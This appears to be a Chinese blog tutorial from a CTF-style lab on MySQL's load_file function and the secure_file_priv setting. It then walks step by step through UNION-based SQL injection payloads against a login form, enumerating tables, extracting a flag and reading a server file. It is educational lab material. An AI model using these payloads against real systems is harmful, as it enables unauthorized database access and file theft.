【load_file读文件】

一、文件操作基础

show

先试试 show variables;发现显示了三百多行的系统变量:

这是数据库的目录:

mysql有多种编码方式,有数据库编码、连接时的编码、还有客户端的编码:

这里还有一个日志路径,这个日志是需要手动打开的,但是打开这个日志数据库会大很多:

这个记录的是主机的名字:

mysql端口号默认3306:

版本是5.5.53

这里记录的是机器的型号和操作系统的型号:

我们看到mysql的variables变量非常多,所以我们需要筛选一下,这个时候就可以用通配符like:

cpp 复制代码
show variables like 'sec%';

我们看到第二个选项secure_file_priv它的值是null,它是文件读写相关的选项:


我们用phpstudy快速的打开配置文件:

之间在末尾添加一下,后面没有任何值的,因为不限制导入导出,保存后mysql重启一下就可以生效:

现在可以看到是什么都没有,就表明mysql对导入导出不限制:

load_file


我们本地第一下看看,读完后发现是空值

本地flag的路径也是这个,为什么会是空值呢,事实上是因为我们的反斜杠\,读取目录的时候是不能用反斜杠的,得用普通的斜杠:

这样就成功读取了:

当我们把目录换到了mysql目录,我们再去读就发现读不到了,因为secure_file_priv的目录换到了mysql

目录就只能读mysql目录

我们读一下mysql目录下的文件,成功读取了,www的目录不能读取,因为我们限制了读取目录:

二、Load_file读文件

常规union联合查询注入

cpp 复制代码
测试注入点
username=admin&password=a

闭合
username=admin' and 1=1%23&password=a

测试列数
username=admin' order by 3%23&password=a

测试回显位
username=a' union select 1,2,3%23&password=a

查库名
username=a' union select 1,database(),3%23&password=a

查表名
username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=a

查列名
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=a

查flag #输出了路径C:/phpstudy_pro/WWW/7/6/flag.txt
username=a' union select 1,flag,3 from flag%23&password=a

读文件
username=a' union select 1,load_file('C:/phpstudy_pro/WWW/7/6/flag.txt'),3 %23&password=a

总结

load_file等读文件的函数受到secure-file-priv 选项的限制,能不能使用load_file进行注入,要看这个选项的配置

文件路径不能使用反斜线\,要使用斜线/

相关推荐
qq_5298353518 分钟前
对计算机中缓存的理解和使用Redis作为缓存
数据库·redis·缓存
月光水岸New3 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6753 小时前
数据库基础1
数据库
我爱松子鱼3 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo3 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
Rverdoser4 小时前
【SQL】多表查询案例
数据库·sql
Galeoto4 小时前
how to export a table in sqlite, and import into another
数据库·sqlite
人间打气筒(Ada)5 小时前
MySQL主从架构
服务器·数据库·mysql
leegong231115 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
喝醉酒的小白5 小时前
PostgreSQL:更新字段慢
数据库·postgresql